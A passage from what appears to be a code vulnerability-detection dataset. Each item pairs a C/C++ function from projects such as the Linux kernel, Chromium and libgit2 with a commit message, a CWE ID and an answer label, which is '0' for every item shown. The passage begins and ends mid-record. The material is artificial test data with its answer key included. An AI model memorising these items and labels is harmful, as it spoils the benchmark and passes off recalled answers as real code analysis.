Tested-by: Andrey Konovalov <[email protected]>
CC: Oliver Neukum <[email protected]>
CC: <[email protected]>
Signed-off-by: Greg Kroah-Hartman <[email protected]>
CWE ID: CWE-125 | 0 | 59,897 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int flush_pkt(git_pkt **out)
{
git_pkt *pkt;
pkt = git__malloc(sizeof(git_pkt));
GITERR_CHECK_ALLOC(pkt);
pkt->type = GIT_PKT_FLUSH;
*out = pkt;
return 0;
}
Commit Message: smart_pkt: treat empty packet lines as error
The Git protocol does not specify what should happen in the case
of an empty packet line (that is a packet line "0004"). We
currently indicate success, but do not return a packet in the
case where we hit an empty line. The smart protocol was not
prepared to handle such packets in all cases, though, resulting
in a `NULL` pointer dereference.
Fix the issue by returning an error instead. As such kind of
packets is not even specified by upstream, this is the right
thing to do.
CWE ID: CWE-476 | 0 | 71,348 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int svm_set_cr4(struct kvm_vcpu *vcpu, unsigned long cr4)
{
unsigned long host_cr4_mce = read_cr4() & X86_CR4_MCE;
unsigned long old_cr4 = to_svm(vcpu)->vmcb->save.cr4;
if (cr4 & X86_CR4_VMXE)
return 1;
if (npt_enabled && ((old_cr4 ^ cr4) & X86_CR4_PGE))
svm_flush_tlb(vcpu);
vcpu->arch.cr4 = cr4;
if (!npt_enabled)
cr4 |= X86_CR4_PAE;
cr4 |= host_cr4_mce;
to_svm(vcpu)->vmcb->save.cr4 = cr4;
mark_dirty(to_svm(vcpu)->vmcb, VMCB_CR);
return 0;
}
Commit Message: KVM: x86: Check non-canonical addresses upon WRMSR
Upon WRMSR, the CPU should inject #GP if a non-canonical value (address) is
written to certain MSRs. The behavior is "almost" identical for AMD and Intel
(ignoring MSRs that are not implemented in either architecture since they would
anyhow #GP). However, IA32_SYSENTER_ESP and IA32_SYSENTER_EIP cause #GP if
non-canonical address is written on Intel but not on AMD (which ignores the top
32-bits).
Accordingly, this patch injects a #GP on the MSRs which behave identically on
Intel and AMD. To eliminate the differences between the architecutres, the
value which is written to IA32_SYSENTER_ESP and IA32_SYSENTER_EIP is turned to
canonical value before writing instead of injecting a #GP.
Some references from Intel and AMD manuals:
According to Intel SDM description of WRMSR instruction #GP is expected on
WRMSR "If the source register contains a non-canonical address and ECX
specifies one of the following MSRs: IA32_DS_AREA, IA32_FS_BASE, IA32_GS_BASE,
IA32_KERNEL_GS_BASE, IA32_LSTAR, IA32_SYSENTER_EIP, IA32_SYSENTER_ESP."
According to AMD manual instruction manual:
LSTAR/CSTAR (SYSCALL): "The WRMSR instruction loads the target RIP into the
LSTAR and CSTAR registers. If an RIP written by WRMSR is not in canonical
form, a general-protection exception (#GP) occurs."
IA32_GS_BASE and IA32_FS_BASE (WRFSBASE/WRGSBASE): "The address written to the
base field must be in canonical form or a #GP fault will occur."
IA32_KERNEL_GS_BASE (SWAPGS): "The address stored in the KernelGSbase MSR must
be in canonical form."
This patch fixes CVE-2014-3610.
Cc: [email protected]
Signed-off-by: Nadav Amit <[email protected]>
Signed-off-by: Paolo Bonzini <[email protected]>
CWE ID: CWE-264 | 0 | 37,889 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: bool CameraService::canConnectUnsafe(int cameraId,
const String16& clientPackageName,
const sp<IBinder>& remoteCallback,
sp<BasicClient> &client) {
String8 clientName8(clientPackageName);
int callingPid = getCallingPid();
if (mClient[cameraId] != 0) {
client = mClient[cameraId].promote();
if (client != 0) {
if (remoteCallback == client->getRemote()) {
LOG1("CameraService::connect X (pid %d) (the same client)",
callingPid);
return true;
} else {
ALOGW("CameraService::connect X (pid %d) rejected"
" (existing client).", callingPid);
return false;
}
}
mClient[cameraId].clear();
}
/*
mBusy is set to false as the last step of the Client destructor,
after which it is guaranteed that the Client destructor has finished (
including any inherited destructors)
We only need this for a Client subclasses since we don't allow
multiple Clents to be opened concurrently, but multiple BasicClient
would be fine
*/
if (mBusy[cameraId]) {
ALOGW("CameraService::connect X (pid %d, \"%s\") rejected"
" (camera %d is still busy).", callingPid,
clientName8.string(), cameraId);
return false;
}
return true;
}
Commit Message: Camera: Disallow dumping clients directly
Camera service dumps should only be initiated through
ICameraService::dump.
Bug: 26265403
Change-Id: If3ca4718ed74bf33ad8a416192689203029e2803
CWE ID: CWE-264 | 0 | 161,664 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: put_stringbuf_mem (struct stringbuf *sb, const char *text, size_t n)
{
if (sb->out_of_core)
return;
if (sb->len + n >= sb->size)
{
char *p;
sb->size += n + 100;
p = xtryrealloc (sb->buf, sb->size);
if ( !p)
{
sb->out_of_core = 1;
return;
}
sb->buf = p;
}
memcpy (sb->buf+sb->len, text, n);
sb->len += n;
}
Commit Message:
CWE ID: CWE-119 | 0 | 11,017 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: Browser::~Browser() {
VLOG_IF(1, g_log_bug53991) << "~Browser: " << profile_->IsOffTheRecord()
<< "; stillActive="
<< BrowserList::IsOffTheRecordSessionActive();
if (profile_->GetProfileSyncService())
profile_->GetProfileSyncService()->RemoveObserver(this);
BrowserList::RemoveBrowser(this);
#if defined(OS_WIN) || defined(OS_LINUX)
if (!BrowserList::HasBrowserWithProfile(profile_)) {
profile_->ResetTabRestoreService();
}
#endif
SessionService* session_service = profile_->GetSessionService();
if (session_service)
session_service->WindowClosed(session_id_);
TabRestoreService* tab_restore_service = profile()->GetTabRestoreService();
if (tab_restore_service)
tab_restore_service->BrowserClosed(this);
encoding_auto_detect_.Destroy();
printing_enabled_.Destroy();
dev_tools_disabled_.Destroy();
incognito_mode_allowed_.Destroy();
instant_enabled_.Destroy();
use_vertical_tabs_.Destroy();
if (profile_->IsOffTheRecord() &&
!BrowserList::IsOffTheRecordSessionActive()) {
profile_->GetOriginalProfile()->DestroyOffTheRecordProfile();
}
if (select_file_dialog_.get())
select_file_dialog_->ListenerDestroyed();
TabRestoreServiceDestroyed(tab_restore_service_);
}
Commit Message: Rename the TabContentWrapper pieces to be "TabHelper"s. (Except for the PasswordManager... for now.) Also, just pre-create them up-front. It saves us effort, as they're all going to be eventually created anyway, so being lazy saves us nothing and creates headaches since the rules about what can be lazy differ from feature to feature.
BUG=71097
TEST=zero visible change
Review URL: http://codereview.chromium.org/6480117
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@75170 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-20 | 0 | 102,076 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static double filter_welsh(const double x)
{
/* Welsh parabolic windowing filter */
if (x < 1.0)
return(1 - x*x);
return(0.0);
}
Commit Message: gdImageScaleTwoPass memory leak fix
Fixing memory leak in gdImageScaleTwoPass, as reported by @cmb69 and
confirmed by @vapier. This bug actually bit me in production and I'm
very thankful that it was reported with an easy fix.
Fixes #173.
CWE ID: CWE-399 | 0 | 56,338 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: bson_iter_offset (bson_iter_t *iter)
{
return iter->off;
}
Commit Message: Fix for CVE-2018-16790 -- Verify bounds before binary length read.
As reported here: https://jira.mongodb.org/browse/CDRIVER-2819,
a heap overread occurs due a failure to correctly verify data
bounds.
In the original check, len - o returns the data left including the
sizeof(l) we just read. Instead, the comparison should check
against the data left NOT including the binary int32, i.e. just
subtype (byte*) instead of int32 subtype (byte*).
Added in test for corrupted BSON example.
CWE ID: CWE-125 | 0 | 77,846 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void ExpectOneTokenAvailableNotification() {
EXPECT_EQ(1, token_available_count_);
EXPECT_EQ(0, token_revoked_count_);
EXPECT_EQ(0, tokens_loaded_count_);
ResetObserverCounts();
}
Commit Message: [signin] Add metrics to track the source for refresh token updated events
This CL add a source for update and revoke credentials operations. It then
surfaces the source in the chrome://signin-internals page.
This CL also records the following histograms that track refresh token events:
* Signin.RefreshTokenUpdated.ToValidToken.Source
* Signin.RefreshTokenUpdated.ToInvalidToken.Source
* Signin.RefreshTokenRevoked.Source
These histograms are needed to validate the assumptions of how often tokens
are revoked by the browser and the sources for the token revocations.
Bug: 896182
Change-Id: I2fcab80ee8e5699708e695bc3289fa6d34859a90
Reviewed-on: https://chromium-review.googlesource.com/c/1286464
Reviewed-by: Jochen Eisinger <[email protected]>
Reviewed-by: David Roger <[email protected]>
Reviewed-by: Ilya Sherman <[email protected]>
Commit-Queue: Mihai Sardarescu <[email protected]>
Cr-Commit-Position: refs/heads/master@{#606181}
CWE ID: CWE-20 | 0 | 143,066 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void pmcraid_unregister_interrupt_handler(struct pmcraid_instance *pinstance)
{
int i;
for (i = 0; i < pinstance->num_hrrq; i++)
free_irq(pinstance->hrrq_vector[i].vector,
&(pinstance->hrrq_vector[i]));
if (pinstance->interrupt_mode) {
pci_disable_msix(pinstance->pdev);
pinstance->interrupt_mode = 0;
}
}
Commit Message: [SCSI] pmcraid: reject negative request size
There's a code path in pmcraid that can be reached via device ioctl that
causes all sorts of ugliness, including heap corruption or triggering the
OOM killer due to consecutive allocation of large numbers of pages.
First, the user can call pmcraid_chr_ioctl(), with a type
PMCRAID_PASSTHROUGH_IOCTL. This calls through to
pmcraid_ioctl_passthrough(). Next, a pmcraid_passthrough_ioctl_buffer
is copied in, and the request_size variable is set to
buffer->ioarcb.data_transfer_length, which is an arbitrary 32-bit
signed value provided by the user. If a negative value is provided
here, bad things can happen. For example,
pmcraid_build_passthrough_ioadls() is called with this request_size,
which immediately calls pmcraid_alloc_sglist() with a negative size.
The resulting math on allocating a scatter list can result in an
overflow in the kzalloc() call (if num_elem is 0, the sglist will be
smaller than expected), or if num_elem is unexpectedly large the
subsequent loop will call alloc_pages() repeatedly, a high number of
pages will be allocated and the OOM killer might be invoked.
It looks like preventing this value from being negative in
pmcraid_ioctl_passthrough() would be sufficient.
Signed-off-by: Dan Rosenberg <[email protected]>
Cc: <[email protected]>
Signed-off-by: Andrew Morton <[email protected]>
Signed-off-by: James Bottomley <[email protected]>
CWE ID: CWE-189 | 0 | 26,533 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: HeapVector<Member<Element>> Document::ElementsFromPoint(double x,
double y) const {
if (!GetLayoutView())
return HeapVector<Member<Element>>();
return TreeScope::ElementsFromPoint(x, y);
}
Commit Message: Cleanup and remove dead code in SetFocusedElement
This early-out was added in:
https://crrev.com/ce8ea3446283965c7eabab592cbffe223b1cf2bc
Back then, we applied fragment focus in LayoutUpdated() which could
cause this issue. This got cleaned up in:
https://crrev.com/45236fd563e9df53dc45579be1f3d0b4784885a2
so that focus is no longer applied after layout.
+Cleanup: Goto considered harmful
Bug: 795381
Change-Id: Ifeb4d2e03e872fd48cca6720b1d4de36ad1ecbb7
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1524417
Commit-Queue: David Bokan <[email protected]>
Reviewed-by: Stefan Zager <[email protected]>
Cr-Commit-Position: refs/heads/master@{#641101}
CWE ID: CWE-416 | 0 | 129,675 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: bool Element::fastAttributeLookupAllowed(const QualifiedName& name) const
{
if (name == HTMLNames::styleAttr)
return false;
if (isSVGElement())
return !static_cast<const SVGElement*>(this)->isAnimatableAttribute(name);
return true;
}
Commit Message: Set Attr.ownerDocument in Element#setAttributeNode()
Attr objects can move across documents by setAttributeNode().
So It needs to reset ownerDocument through TreeScopeAdoptr::adoptIfNeeded().
BUG=248950
TEST=set-attribute-node-from-iframe.html
Review URL: https://chromiumcodereview.appspot.com/17583003
git-svn-id: svn://svn.chromium.org/blink/trunk@152938 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-399 | 0 | 112,262 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void WebContentsImpl::CreateNewWidget(int32_t render_process_id,
int32_t route_id,
bool is_fullscreen,
mojom::WidgetPtr widget,
blink::WebPopupType popup_type) {
RenderProcessHost* process = RenderProcessHost::FromID(render_process_id);
if (!HasMatchingProcess(&frame_tree_, render_process_id)) {
ReceivedBadMessage(process, bad_message::WCI_NEW_WIDGET_PROCESS_MISMATCH);
return;
}
RenderWidgetHostImpl* widget_host = new RenderWidgetHostImpl(
this, process, route_id, std::move(widget), IsHidden());
RenderWidgetHostViewBase* widget_view =
static_cast<RenderWidgetHostViewBase*>(
view_->CreateViewForPopupWidget(widget_host));
if (!widget_view)
return;
if (!is_fullscreen) {
widget_view->SetPopupType(popup_type);
}
pending_widget_views_[GlobalRoutingID(render_process_id, route_id)] =
widget_view;
}
Commit Message: If a dialog is shown, drop fullscreen.
BUG=875066, 817809, 792876, 812769, 813815
TEST=included
Change-Id: Ic3d697fa3c4b01f5d7fea77391857177ada660db
Reviewed-on: https://chromium-review.googlesource.com/1185208
Reviewed-by: Sidney San Martín <[email protected]>
Commit-Queue: Avi Drissman <[email protected]>
Cr-Commit-Position: refs/heads/master@{#586418}
CWE ID: CWE-20 | 0 | 146,081 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: vips_foreign_class_init( VipsForeignClass *class )
{
GObjectClass *gobject_class = G_OBJECT_CLASS( class );
VipsObjectClass *object_class = (VipsObjectClass *) class;
gobject_class->set_property = vips_object_set_property;
gobject_class->get_property = vips_object_get_property;
object_class->nickname = "foreign";
object_class->description = _( "load and save image files" );
object_class->summary_class = vips_foreign_summary_class;
}
Commit Message: fix a crash with delayed load
If a delayed load failed, it could leave the pipeline only half-set up.
Sebsequent threads could then segv.
Set a load-has-failed flag and test before generate.
See https://github.com/jcupitt/libvips/issues/893
CWE ID: CWE-362 | 0 | 83,887 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int gcm_hash_final(struct aead_request *req,
struct crypto_gcm_req_priv_ctx *pctx)
{
struct ahash_request *ahreq = &pctx->u.ahreq;
ahash_request_set_callback(ahreq, aead_request_flags(req),
gcm_hash_final_done, req);
ahash_request_set_crypt(ahreq, NULL, pctx->iauth_tag, 0);
return crypto_ahash_final(ahreq);
}
Commit Message: crypto: include crypto- module prefix in template
This adds the module loading prefix "crypto-" to the template lookup
as well.
For example, attempting to load 'vfat(blowfish)' via AF_ALG now correctly
includes the "crypto-" prefix at every level, correctly rejecting "vfat":
net-pf-38
algif-hash
crypto-vfat(blowfish)
crypto-vfat(blowfish)-all
crypto-vfat
Reported-by: Mathias Krause <[email protected]>
Signed-off-by: Kees Cook <[email protected]>
Acked-by: Mathias Krause <[email protected]>
Signed-off-by: Herbert Xu <[email protected]>
CWE ID: CWE-264 | 0 | 45,777 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: SaveItem* SavePackage::LookupItemInProcessBySaveId(int32 save_id) {
if (in_process_count()) {
for (SaveUrlItemMap::iterator it = in_progress_items_.begin();
it != in_progress_items_.end(); ++it) {
SaveItem* save_item = it->second;
DCHECK(save_item->state() == SaveItem::IN_PROGRESS);
if (save_item->save_id() == save_id)
return save_item;
}
}
return NULL;
}
Commit Message: Fix crash with mismatched vector sizes.
BUG=169295
Review URL: https://codereview.chromium.org/11817050
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@176252 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: | 0 | 115,199 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: DGAStealKeyEvent(DeviceIntPtr dev, int index, int key_code, int is_down)
{
DGAScreenPtr pScreenPriv;
DGAEvent event;
if (!DGAScreenKeyRegistered) /* no DGA */
return FALSE;
if (key_code < 8 || key_code > 255)
return FALSE;
pScreenPriv = DGA_GET_SCREEN_PRIV(screenInfo.screens[index]);
if (!pScreenPriv || !pScreenPriv->grabKeyboard) /* no direct mode */
return FALSE;
event = (DGAEvent) {
.header = ET_Internal,
.type = ET_DGAEvent,
.length = sizeof(event),
.time = GetTimeInMillis(),
.subtype = (is_down ? ET_KeyPress : ET_KeyRelease),
.detail = key_code,
.dx = 0,
.dy = 0
};
mieqEnqueue(dev, (InternalEvent *) &event);
return TRUE;
}
Commit Message:
CWE ID: CWE-20 | 0 | 17,725 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: bool omx_vdec::post_event(unsigned long p1,
unsigned long p2,
unsigned long id)
{
bool bRet = false;
/* Just drop messages typically generated by hardware (w/o client request),
* if we've reported an error to client. */
if (m_error_propogated) {
switch (id) {
case OMX_COMPONENT_GENERATE_PORT_RECONFIG:
case OMX_COMPONENT_GENERATE_HARDWARE_ERROR:
DEBUG_PRINT_ERROR("Dropping message %lx "
"since client expected to be in error state", id);
return false;
default:
/* whatever */
break;
}
}
pthread_mutex_lock(&m_lock);
if (id == m_fill_output_msg ||
id == OMX_COMPONENT_GENERATE_FBD ||
id == OMX_COMPONENT_GENERATE_PORT_RECONFIG) {
m_ftb_q.insert_entry(p1,p2,id);
} else if (id == OMX_COMPONENT_GENERATE_ETB ||
id == OMX_COMPONENT_GENERATE_EBD ||
id == OMX_COMPONENT_GENERATE_ETB_ARBITRARY) {
m_etb_q.insert_entry(p1,p2,id);
} else {
m_cmd_q.insert_entry(p1,p2,id);
}
bRet = true;
DEBUG_PRINT_LOW("Value of this pointer in post_event %p",this);
post_message(this, id);
pthread_mutex_unlock(&m_lock);
return bRet;
}
Commit Message: DO NOT MERGE mm-video-v4l2: vdec: Avoid processing ETBs/FTBs in invalid states
(per the spec) ETB/FTB should not be handled in states other than
Executing, Paused and Idle. This avoids accessing invalid buffers.
Also add a lock to protect the private-buffers from being deleted
while accessing from another thread.
Bug: 27890802
Security Vulnerability - Heap Use-After-Free and Possible LPE in
MediaServer (libOmxVdec problem #6)
CRs-Fixed: 1008882
Change-Id: Iaac2e383cd53cf9cf8042c9ed93ddc76dba3907e
CWE ID: | 0 | 160,307 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: PaintLayerScrollableArea::ScrollingBackgroundDisplayItemClient::VisualRect()
const {
const auto* box = scrollable_area_->GetLayoutBox();
const auto& paint_offset = box->FirstFragment().PaintOffset();
auto overflow_clip_rect =
PixelSnappedIntRect(box->OverflowClipRect(paint_offset));
auto scroll_size = scrollable_area_->PixelSnappedContentsSize(paint_offset);
scroll_size = scroll_size.ExpandedTo(overflow_clip_rect.Size());
LayoutRect result(overflow_clip_rect.Location(), scroll_size);
#if DCHECK_IS_ON()
if (!RuntimeEnabledFeatures::CompositeAfterPaintEnabled()) {
DCHECK_EQ(result,
scrollable_area_->layer_->GraphicsLayerBacking()->VisualRect());
}
#endif
return result;
}
Commit Message: Always call UpdateCompositedScrollOffset, not just for the root layer
Bug: 927560
Change-Id: I1d5522aae4f11dd3f5b8947bb089bac1bf19bdb4
Reviewed-on: https://chromium-review.googlesource.com/c/1452701
Reviewed-by: Chris Harrelson <[email protected]>
Commit-Queue: Mason Freed <[email protected]>
Cr-Commit-Position: refs/heads/master@{#628942}
CWE ID: CWE-79 | 0 | 130,159 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void WorkerFetchContext::SetFirstPartyCookieAndRequestorOrigin(
ResourceRequest& out_request) {
if (out_request.SiteForCookies().IsNull())
out_request.SetSiteForCookies(GetSiteForCookies());
if (!out_request.RequestorOrigin())
out_request.SetRequestorOrigin(GetSecurityOrigin());
}
Commit Message: DevTools: send proper resource type in Network.RequestWillBeSent
This patch plumbs resoure type into the DispatchWillSendRequest
instrumenation. This allows us to report accurate type in
Network.RequestWillBeSent event, instead of "Other", that we report
today.
BUG=765501
R=dgozman
Change-Id: I0134c08b841e8dd247fdc8ff208bfd51e462709c
Reviewed-on: https://chromium-review.googlesource.com/667504
Reviewed-by: Pavel Feldman <[email protected]>
Reviewed-by: Dmitry Gozman <[email protected]>
Commit-Queue: Andrey Lushnikov <[email protected]>
Cr-Commit-Position: refs/heads/master@{#507936}
CWE ID: CWE-119 | 0 | 138,833 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void VoidMethodUnsignedShortArgMethod(const v8::FunctionCallbackInfo<v8::Value>& info) {
ExceptionState exception_state(info.GetIsolate(), ExceptionState::kExecutionContext, "TestObject", "voidMethodUnsignedShortArg");
TestObject* impl = V8TestObject::ToImpl(info.Holder());
if (UNLIKELY(info.Length() < 1)) {
exception_state.ThrowTypeError(ExceptionMessages::NotEnoughArguments(1, info.Length()));
return;
}
uint16_t unsigned_short_arg;
unsigned_short_arg = NativeValueTraits<IDLUnsignedShort>::NativeValue(info.GetIsolate(), info[0], exception_state);
if (exception_state.HadException())
return;
impl->voidMethodUnsignedShortArg(unsigned_short_arg);
}
Commit Message: bindings: Support "attribute FrozenArray<T>?"
Adds a quick hack to support a case of "attribute FrozenArray<T>?".
Bug: 1028047
Change-Id: Ib3cecc4beb6bcc0fb0dbc667aca595454cc90c86
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1933866
Reviewed-by: Hitoshi Yoshida <[email protected]>
Commit-Queue: Yuki Shiino <[email protected]>
Cr-Commit-Position: refs/heads/master@{#718676}
CWE ID: | 0 | 135,511 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void ChromeContentBrowserClient::RenderProcessHostCreated(
content::RenderProcessHost* host) {
int id = host->GetID();
Profile* profile = Profile::FromBrowserContext(host->GetBrowserContext());
net::URLRequestContextGetter* context =
profile->GetRequestContextForRenderProcess(id);
host->GetChannel()->AddFilter(new ChromeRenderMessageFilter(
id, profile, context));
#if defined(ENABLE_PLUGINS)
host->GetChannel()->AddFilter(new PluginInfoMessageFilter(id, profile));
#endif
#if defined(ENABLE_PRINTING)
host->GetChannel()->AddFilter(new PrintingMessageFilter(id, profile));
#endif
host->GetChannel()->AddFilter(
new SearchProviderInstallStateMessageFilter(id, profile));
host->GetChannel()->AddFilter(new SpellCheckMessageFilter(id));
#if defined(OS_MACOSX)
host->GetChannel()->AddFilter(new SpellCheckMessageFilterMac());
#endif
host->GetChannel()->AddFilter(new ChromeNetBenchmarkingMessageFilter(
id, profile, context));
host->GetChannel()->AddFilter(
new prerender::PrerenderMessageFilter(id, profile));
host->Send(new ChromeViewMsg_SetIsIncognitoProcess(
profile->IsOffTheRecord()));
SendExtensionWebRequestStatusToHost(host);
RendererContentSettingRules rules;
GetRendererContentSettingRules(profile->GetHostContentSettingsMap(), &rules);
host->Send(new ChromeViewMsg_SetContentSettingRules(rules));
}
Commit Message: Ensure extensions and the Chrome Web Store are loaded in new BrowsingInstances.
BUG=174943
TEST=Can't post message to CWS. See bug for repro steps.
Review URL: https://chromiumcodereview.appspot.com/12301013
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@184208 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-264 | 0 | 115,775 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: DECLAREcpFunc(cpContigTiles2SeparateTiles)
{
return cpImage(in, out,
readContigTilesIntoBuffer,
writeBufferToSeparateTiles,
imagelength, imagewidth, spp);
}
Commit Message: * tools/tiffcp.c: fix out-of-bounds write on tiled images with odd
tile width vs image width. Reported as MSVR 35103
by Axel Souchet and Vishal Chauhan from the MSRC Vulnerabilities &
Mitigations team.
CWE ID: CWE-787 | 0 | 48,196 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static inline uint32_t __nlm_alloc_pid(struct nlm_host *host)
{
uint32_t res;
do {
res = host->h_pidcount++;
} while (nlm_pidbusy(host, res) < 0);
return res;
}
Commit Message: NLM: Don't hang forever on NLM unlock requests
If the NLM daemon is killed on the NFS server, we can currently end up
hanging forever on an 'unlock' request, instead of aborting. Basically,
if the rpcbind request fails, or the server keeps returning garbage, we
really want to quit instead of retrying.
Tested-by: Vasily Averin <[email protected]>
Signed-off-by: Trond Myklebust <[email protected]>
Cc: [email protected]
CWE ID: CWE-399 | 0 | 34,848 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void session_free(void *p, void *ctx)
{
h2_session *session = ctx;
ap_log_cerror(APLOG_MARK, APLOG_TRACE6, 0, session->c,
"h2_session(%ld): free()",
session->id);
free(p);
}
Commit Message: SECURITY: CVE-2016-8740
mod_http2: properly crafted, endless HTTP/2 CONTINUATION frames could be used to exhaust all server's memory.
Reported by: Naveen Tiwari <[email protected]> and CDF/SEFCOM at Arizona State University
git-svn-id: https://svn.apache.org/repos/asf/httpd/httpd/trunk@1772576 13f79535-47bb-0310-9956-ffa450edef68
CWE ID: CWE-20 | 0 | 48,680 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: struct file *sock_alloc_file(struct socket *sock, int flags, const char *dname)
{
struct qstr name = { .name = "" };
struct path path;
struct file *file;
if (dname) {
name.name = dname;
name.len = strlen(name.name);
} else if (sock->sk) {
name.name = sock->sk->sk_prot_creator->name;
name.len = strlen(name.name);
}
path.dentry = d_alloc_pseudo(sock_mnt->mnt_sb, &name);
if (unlikely(!path.dentry))
return ERR_PTR(-ENOMEM);
path.mnt = mntget(sock_mnt);
d_instantiate(path.dentry, SOCK_INODE(sock));
SOCK_INODE(sock)->i_fop = &socket_file_ops;
file = alloc_file(&path, FMODE_READ | FMODE_WRITE,
&socket_file_ops);
if (unlikely(IS_ERR(file))) {
/* drop dentry, keep inode */
ihold(path.dentry->d_inode);
path_put(&path);
return file;
}
sock->file = file;
file->f_flags = O_RDWR | (flags & O_NONBLOCK);
file->private_data = sock;
return file;
}
Commit Message: net: rework recvmsg handler msg_name and msg_namelen logic
This patch now always passes msg->msg_namelen as 0. recvmsg handlers must
set msg_namelen to the proper size <= sizeof(struct sockaddr_storage)
to return msg_name to the user.
This prevents numerous uninitialized memory leaks we had in the
recvmsg handlers and makes it harder for new code to accidentally leak
uninitialized memory.
Optimize for the case recvfrom is called with NULL as address. We don't
need to copy the address at all, so set it to NULL before invoking the
recvmsg handler. We can do so, because all the recvmsg handlers must
cope with the case a plain read() is called on them. read() also sets
msg_name to NULL.
Also document these changes in include/linux/net.h as suggested by David
Miller.
Changes since RFC:
Set msg->msg_name = NULL if user specified a NULL in msg_name but had a
non-null msg_namelen in verify_iovec/verify_compat_iovec. This doesn't
affect sendto as it would bail out earlier while trying to copy-in the
address. It also more naturally reflects the logic by the callers of
verify_iovec.
With this change in place I could remove "
if (!uaddr || msg_sys->msg_namelen == 0)
msg->msg_name = NULL
".
This change does not alter the user visible error logic as we ignore
msg_namelen as long as msg_name is NULL.
Also remove two unnecessary curly brackets in ___sys_recvmsg and change
comments to netdev style.
Cc: David Miller <[email protected]>
Suggested-by: Eric Dumazet <[email protected]>
Signed-off-by: Hannes Frederic Sowa <[email protected]>
Signed-off-by: David S. Miller <[email protected]>
CWE ID: CWE-20 | 0 | 40,701 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: SWFShape_getScaledPenY(SWFShape shape)
{
return shape->ypos;
}
Commit Message: SWFShape_setLeftFillStyle: prevent fill overflow
CWE ID: CWE-119 | 0 | 89,516 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: MagickExport NexusInfo **DestroyPixelCacheNexus(NexusInfo **nexus_info,
const size_t number_threads)
{
register ssize_t
i;
assert(nexus_info != (NexusInfo **) NULL);
for (i=0; i < (ssize_t) number_threads; i++)
{
if (nexus_info[i]->cache != (PixelPacket *) NULL)
RelinquishCacheNexusPixels(nexus_info[i]);
nexus_info[i]->signature=(~MagickSignature);
}
nexus_info[0]=(NexusInfo *) RelinquishMagickMemory(nexus_info[0]);
nexus_info=(NexusInfo **) RelinquishAlignedMemory(nexus_info);
return(nexus_info);
}
Commit Message: http://www.imagemagick.org/discourse-server/viewtopic.php?f=2&t=28946
CWE ID: CWE-399 | 0 | 73,453 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: ZEND_API int _object_and_properties_init(zval *arg, zend_class_entry *class_type, HashTable *properties ZEND_FILE_LINE_DC TSRMLS_DC) /* {{{ */
{
zend_object *object;
if (class_type->ce_flags & (ZEND_ACC_INTERFACE|ZEND_ACC_IMPLICIT_ABSTRACT_CLASS|ZEND_ACC_EXPLICIT_ABSTRACT_CLASS)) {
char *what = (class_type->ce_flags & ZEND_ACC_INTERFACE) ? "interface"
:((class_type->ce_flags & ZEND_ACC_TRAIT) == ZEND_ACC_TRAIT) ? "trait"
: "abstract class";
